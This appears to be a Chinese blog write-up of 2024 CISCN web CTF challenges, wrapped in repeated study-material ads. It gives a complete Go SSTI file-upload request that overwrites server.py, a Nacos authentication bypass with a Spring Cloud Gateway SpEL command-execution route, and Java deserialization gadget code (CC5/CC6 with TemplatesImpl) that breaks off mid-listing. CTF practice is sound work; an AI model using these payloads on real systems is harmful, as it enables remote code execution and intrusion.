[2024CISCN]国赛初赛WEB题目复现_2024国赛初赛unzip题目复现(1)

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

又坐牢了一段时间,无奈之下又只能瞅一瞅师傅们的wp,好家伙,原来SESSION_KEY是空的,逗人玩呢。

那就修改一下Admin的路由,用来获取admin的session

session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)

拿着伪造的session去访问靶机的admin路由,提示我们用ssti,那就ssti

经过检验确实存在ssti,但这里不是python的ssti,是go的ssti,网上大多提到了{{.}}来获取全局变量,但对这道题来说没什么用

换个思路,既然ssti是代码执行的话,那就用go来进行RCE不就行了

但是xssWaf := html.EscapeString(name)会转义引号,所以payload里不能用引号,寻找思路类似于PHP的无字母数字RCE

前面通过session伪造pin的思路不对或者太麻烦(因为没找到能不用引号的payload),思路转换为替换server.py文件,需要用到以下几个方法:

c.SaveUploadedFile(file *multipart.FileHeader, dst string)

保存上传的文件

c.FormFile(name string)

获取上传的文件

c.HandlerName()

获取正在处理的路由的处理函数名称,这里为main.Admin

c.Request.Referer():

获取Referer头

构造以下payload

c.SaveUploadedFile(c.FormFile(c.HandlerName()),c.Request.Referer())

最终HTTP请求体

GET /admin?name=%7b%7bc.SaveUploadedFile(c.FormFile(c.HandlerName())%2cc.Request.Referer())%7d%7d HTTP/1.1
Host: d5d0420f-1268-449d-a3df-00307c395edd.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Referer: /app/server.py
Connection: close
Cookie: session-name=MTY5NzE4NjkzMHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwInXwlMhNgf5c-RWJSULVMGWSUrousqud2c8o96O0sDQ==;
Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 408

--AaB03x
Content-Disposition: form-data; name="main/route.Admin"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request, send_from_directory
import os
app = Flask(__name__)

@app.route('/a', methods=['GET'])
def read_file_content():
		
    return os.popen("cat /th1s_1s_f13g").read()

if __name__ == '__main__':
    app.run("0.0.0.0",5000,debug=True)

--AaB03x--



BackendService

靶机环境为NACOS,查找相关漏洞

Nacos(Dynamic Naming and Configuration Service)是一个开源的、易于使用的平台,为微服务架构提供了服务发现、服务配置以及服务管理功能。

找到一个身份认证漏洞,伪造JWT获取token,然后登录即可达到后台

这里要注意需要拦截登录后的第一个响应,然后Drop掉,否则会跳转到json页面,导致无法进入后台

Nacos 身份认证绕过漏洞QVD-2023-6271

找到了一个命令执行漏洞,但是尝试后无果。

又找到一篇利用SpringCloudGateway+Nacos进行RCE的文章

Nacos结合Spring Cloud Gateway RCE利用 - 先知社区

作者还贴心的附上了环境搭建步骤,所以我们要先搭建好环境

首先看附件里的bootstrap.yml

spring:
  cloud:
    nacos:
      config:
        name: backcfg
        file-extension: yaml
        group: DEFAULT_GROUP
        server-addr: 127.0.0.1:8848
      discovery:
        server-addr: 127.0.0.1:8848

这里的配置文件貌似给错了,因为wp里是json,端口是8888

对应的作用如下

属性意义
spring.cloud.nacos.config.nameNacos配置的Data ID。它标识了配置的名称为backcfg
spring.cloud.nacos.config.file-extension指定Nacos配置的文件格式。在这里,文件格式被设定为yaml
spring.cloud.nacos.config.groupNacos配置的组名。此处的组名被设定为DEFAULT_GROUP
spring.cloud.nacos.config.server-addrNacos服务的地址和端口。此处意味着Nacos运行在本地127.0.0.1地址的8848端口上。
spring.cloud.nacos.discovery.server-addrNacos服务发现功能的地址和端口。它也指向运行在127.0.0.1地址的8848端口的Nacos服务。

在这种情况下,Spring Cloud Gateway会去Nacos配置中心寻找一个名为backcfg的配置项,而这个配置项的格式是yaml。因此,Nacos要提供一个名为backcfg.yaml的文件内容给Spring Cloud Gateway。

所以我们需要先去配置管理->配置列表下增加一个新的配置文件,格式选为yaml,名称设置为backcfg。上传内容就是application.yaml中的内容


如果成功了,在监听查询中就会出现使用该配置的host信息

该yaml中的每个属性对应的作用如下:

属性意义
spring.main.web-application-type设置Spring Boot应用的类型为响应式。常用于WebFlux框架。
spring.application.name定义应用的名称,此处为backendservice
server.port定义Spring Boot应用监听的端口,此处为18888
management.endpoint.gateway.enabled启用或禁用gateway端点,默认为true。用于获取网关的路由信息。
management.endpoints.web.exposure.include指定哪些端点可以被暴露,此处只暴露了gateway端点。
management.endpoints.web.exposure.include (下面的)指定哪些端点可以被暴露,此处使用*,表示暴露所有端点。
spring.main.allow-bean-definition-overriding是否允许覆盖bean定义。当有多个bean定义时,此属性允许一个bean定义覆盖另一个。默认为false
spring.cloud.gateway.routes定义Spring Cloud Gateway的路由信息。
spring.cloud.gateway.routes.id每个路由的唯一标识,此处为index
spring.cloud.gateway.routes.uri指定路由目标的URI。当请求匹配某个路由时,它会被转发到这个URI。此处为http://example.com
spring.cloud.gateway.routes.predicates路由断言定义。决定哪些请求可以被路由。在这里,任何请求路径为/example的请求都会匹配到这个路由。

但这道题的环境原因导致spring gateway我们无法访问,所以通过添加路由来访问的上述方法无法利用。

顺着文章再往下看,发现可以利用

spring:
  cloud:
    gateway:
      routes:
        - id: exam
          order: 0
          uri: lb://backendservice
          predicates:
            - Path=/echo/\*\*
          filters:
            - name: AddResponseHeader
              args:
                name: result
                value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{''}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

但是不知道为什么,wp里说是json格式,并且其他师傅的配置文件中是指明json,但我的靶机里就是yaml。。。

还有个坑点就是既然我们无法直接访问gateway来知道结果的话,一般来说就会用curl来判断是否成功rce,但这道题的靶机没有安装curl,所以我一直以为是哪里搞错了。。

这道题做完后其实感觉并不难,但是毕竟没有接触过微服务的人一开始做的话很难理解。所以我尽量去理解了spring gateway和nacos的原理,配置选项,以及他们如何实现联动的,感觉和JNDI的中心化管理思想很类似,还算是有点收获

deserbug

题目给出了commons-collections-3.2.2.jar,因为大于3.1版本,也不是4.0版本,所以不能直接使用经典的CC链,比如在InvokerTransformer类中的readObject加了一行

FunctorUtils.checkUnsafeSerialization(class$org$apache$commons$collections$functors$InvokerTransformer == null ? (class$org$apache$commons$collections$functors$InvokerTransformer = class$("org.apache.commons.collections.functors.InvokerTransformer")) : class$org$apache$commons$collections$functors$InvokerTransformer);

其中,checkUnsafeSerialization方法会尝试获取系统变量enableUnsafeSerialization的值

System.getProperty("org.apache.commons.collections.enableUnsafeSerialization");

如果获取不到或者该系统变量不为true,则抛出异常UnsupportedOperationException

题目hint为:cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept

原本以为是要在JSONObject.put执行时通过添加重复key来抛出异常

throw new JSONException("Duplicate key \"{}\"", new Object[]{key});

然后通过捕获这个异常来进行利用,但我发现首先checkDuplicate这个值无法控制,并且在put中为false,所以无法抛出该异常,除此之外,即使捕获到了JSONException也无法进行后续利用

看了小绿草实验室的WP,从JSONObject的put方法开始,一步一步调试到某个类执行getter方法,通过getter方法触发getAnyexcept,也就是说,这个hint结合源码具有一定的迷惑性,会引导人的想法到通过触发异常来gadget

WP中使用的gadget如下:

HashMap->readObject()->hash()->TiedMapEntry()->hashCode()->getValue()->LazyMap()->get()->ConstantTransformer->transform()->JSONObject->put()->TrAXFilter->newTransformer()->getTransletInstance()->Evil.class.newInstance()
//当然,不止一个gadget,在后续会说到

这里就是经验的差距体现出来了,如果不熟练那几条CC链,这个gatget是凑不起来的,就比如hint提示要用JSONObject.put和getAnyexcept,我们肯定知道最终利用的是getAnyexcept来加载恶意类,类比fastjson,就要想到hutool的json也可能有类似getter和setter的机制(事后诸葛亮一下:) )

本题目要调用的getter如下:

getter调用

而如何能找到能够调用Myexpect的getter,WP上说是一步步调试的,但这个调试也得需要点技巧。原因在于wrap方法:

    public static Object wrap(Object object, JSONConfig jsonConfig) {
        if (object == null) {
            return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
        } else if (!(object instanceof JSON) && !ObjectUtil.isNull(object) && !(object instanceof JSONString) && !(object instanceof CharSequence) && !(object instanceof Number) && !ObjectUtil.isBasicType(object)) {
            try {
                if (object instanceof SQLException) {
                    return object.toString();
                } else if (!(object instanceof Iterable) && !ArrayUtil.isArray(object)) {
                    if (!(object instanceof Map) && !(object instanceof Map.Entry)) {
                        if (!(object instanceof Date) && !(object instanceof Calendar) && !(object instanceof TemporalAccessor)) {
                            if (object instanceof Enum) {
                                return object.toString();
                            } else {
                                return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject(object, jsonConfig);
                            }
                        } else {
                            return object;
                        }
                    } else {
                        return new JSONObject(object, jsonConfig);
                    }
                } else {
                    return new JSONArray(object, jsonConfig);
                }
            } catch (Exception var3) {
                return null;
            }
        } else {
            return object instanceof Number && null != jsonConfig.getDateFormat() ? new NumberWithFormat((Number)object, jsonConfig.getDateFormat()) : object;
        }
    }

从这个方法中可以提取出isIgnoreNullValue()toString(),JSONArray(),getDateFormat(),getClass(),JSONObject()这几个方法,而这其中的一些方法还会嵌套其他方法,所以如果想挨个看的话很费精力。但我们可以初步淘汰几个,比如toString(),isIgnoreNullValue()这种稍微看一下就知道不能利用的。最后留下JSONObject()和JSONArray(),因为他们都会调用ObjectMapper.map()

//JSONArray.class
public JSONArray(Object object, JSONConfig jsonConfig, Filter<Mutable<Object>> filter) throws JSONException {
        this(10, jsonConfig);
        ObjectMapper.of(object).map(this, filter);
    }

//JSONObject.class
public JSONObject(Object source, JSONConfig config, Filter<MutablePair<String, Object>> filter) {
    this(16, config);
    ObjectMapper.of(source).map(this, filter);
}

现在我们知道,既然hint提示需要调用JSONObject的put,而该类并没有readObject方法,故而需要找到一个能够调用任意类的put方法的链子作为gadget的一部分,而JSONObject正好也属于Map的实现类,从常用的反序列化类中,符合条件的就是LazyMap.get()

所以常见反序列化利用类需要很熟悉,否则很难想到这块

通过transform间接地实现控制value,并且key也是任意类型,但是在warp方法中,只传进了此方法中的value,再结合hint要利用Myexpect类的方法,猜测要将value赋值为Myexpect对象(这里可能有点牵强,但我也想不出其他更好的解释)。那么在上述的wrap方法中,如果传入的object是一个自定义的类,那么最终调用的就只能是new JSONObject(object, jsonConfig);,后续就会从ObjectMapper.class->map()->mapFromBean() ->······->PropDesc.class->getValue()执行myExpect.getAnyexcept()

那么剩下的就是从LazyMap向前拼gadget,可供选择的gadget如下:

//CC5 Gadget Chain:
BadAttributeValueExpException.readObject() -->
TiedMapEntry.toString() -->
LazyMap.get()

//CC6 Gadget Chain:
java.util.HashSet.readObject() -->
java.util.HashMap.put() -->
java.util.HashMap.hash() -->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() -->
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() -->
org.apache.commons.collections.map.LazyMap.get()

//CC7 Gadget Chain:
java.util.Hashtable.readObject -->
java.util.Hashtable.reconstitutionPut() -->
org.apache.commons.collections.map.AbstractMapDecorator.equals() -->
java.util.AbstractMap.equals() -->
org.apache.commons.collections.map.LazyMap.get()

CC5

        ......
        ......
        TemplatesImpl templatesImpl = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        Reflection.setFieldValue(templatesImpl, "\_name", "Hello");
        Reflection.setFieldValue(templatesImpl, "\_bytecodes", new byte[][]
                {clazz.toBytecode()});
        Reflection.setFieldValue(templatesImpl, "\_tfactory", new
                TransformerFactoryImpl());
        Myexpect expect = new Myexpect();
        expect.setTargetclass(TrAXFilter.class);
        expect.setTypeparam(new Class[]{Templates.class});
        expect.setTypearg(new Object[]{templatesImpl});
        JSONObject jsonObject = new JSONObject();


        Transformer transformer = new ConstantTransformer(1);
        Map innerMap = jsonObject;
        Map outerMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "k");
        /\*Map expMap = new HashMap();
 expMap.put(tme, "valuevalue");\*/
        Reflection.setFieldValue(transformer, "iConstant", expect);
		//CC5
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, tme);
        //序列化
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(val);

        System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        ......
        ......

CC6

		......
        ......
		TemplatesImpl templatesImpl = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
        Reflection.setFieldValue(templatesImpl, "\_name", "Hello");
        Reflection.setFieldValue(templatesImpl, "\_bytecodes", new byte[][]
                {clazz.toBytecode()});
        Reflection.setFieldValue(templatesImpl, "\_tfactory", new
                TransformerFactoryImpl());
        Myexpect expect = new Myexpect();
        expect.setTargetclass(TrAXFilter.class);
        expect.setTypeparam(new Class[]{Templates.class});
        expect.setTypearg(new Object[]{templatesImpl});
        JSONObject jsonObject = new JSONObject();


        Transformer transformer = new ConstantTransformer(1);
        Map innerMap = jsonObject;
        Map outerMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "k");
        /\*Map expMap = new HashMap();
 expMap.put(tme, "valuevalue");\*/
        Reflection.setFieldValue(transformer, "iConstant", expect);

        //CC6
		//这里不知道为什么需要设置这些HashSet的成员变量才能成功,这段时间忙着公考,忙完再把CC链仔细研究一遍
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        f.setAccessible(true);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        keyField.setAccessible(true);


### 如何自学黑客&网络安全


#### 黑客零基础入门学习路线&规划


**初级黑客**  
 **1、网络安全理论知识(2天)**  
 ①了解行业相关背景,前景,确定发展方向。  
 ②学习网络安全相关法律法规。  
 ③网络安全运营的概念。  
 ④等保简介、等保规定、流程和规范。(非常重要)


**2、渗透测试基础(一周)**  
 ①渗透测试的流程、分类、标准  
 ②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking  
 ③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察  
 ④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等


**3、操作系统基础(一周)**  
 ①Windows系统常见功能和命令  
 ②Kali Linux系统常见功能和命令  
 ③操作系统安全(系统入侵排查/系统加固基础)


**4、计算机网络基础(一周)**  
 ①计算机网络基础、协议和架构  
 ②网络通信原理、OSI模型、数据转发流程  
 ③常见协议解析(HTTP、TCP/IP、ARP等)  
 ④网络攻击技术与网络安全防御技术  
 ⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现


**5、数据库基础操作(2天)**  
 ①数据库基础  
 ②SQL语言基础  
 ③数据库安全加固


**6、Web渗透(1周)**  
 ①HTML、CSS和JavaScript简介  
 ②OWASP Top10  
 ③Web漏洞扫描工具  
 ④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)  
 恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k


到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?


如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!


**7、脚本编程(初级/中级/高级)**  
 在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.


如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

**8、超级黑客**  
 这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。  
 ![img](https://img-blog.csdnimg.cn/img_convert/3fd39c2ba8ec22649979f245f4221608.webp?x-oss-process=image/format,png)


#### 网络安全工程师企业级学习路线


![img](https://img-blog.csdnimg.cn/img_convert/931ac5ac21a22d230645ccf767358997.webp?x-oss-process=image/format,png)  
 如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的


视频配套资料&国内外网安书籍、文档&工具


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

![img](https://img-blog.csdnimg.cn/img_convert/153b2778a3fe5198265bed9635d63469.webp?x-oss-process=image/format,png)  
 一些笔者自己买的、其他平台白嫖不到的视频教程。  
 ![img](https://img-blog.csdnimg.cn/img_convert/32eb4b22aa740233c5198d3c161b37e8.webp?x-oss-process=image/format,png)





**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/a4de07da88c260b5c1c4d267e28fd7fa.png)

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  
 如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的


视频配套资料&国内外网安书籍、文档&工具


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

![img](https://img-blog.csdnimg.cn/img_convert/153b2778a3fe5198265bed9635d63469.webp?x-oss-process=image/format,png)  
 一些笔者自己买的、其他平台白嫖不到的视频教程。  
 ![img](https://img-blog.csdnimg.cn/img_convert/32eb4b22aa740233c5198d3c161b37e8.webp?x-oss-process=image/format,png)





**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
[外链图片转存中...(img-Qp19248k-1713191042229)]

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 25
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值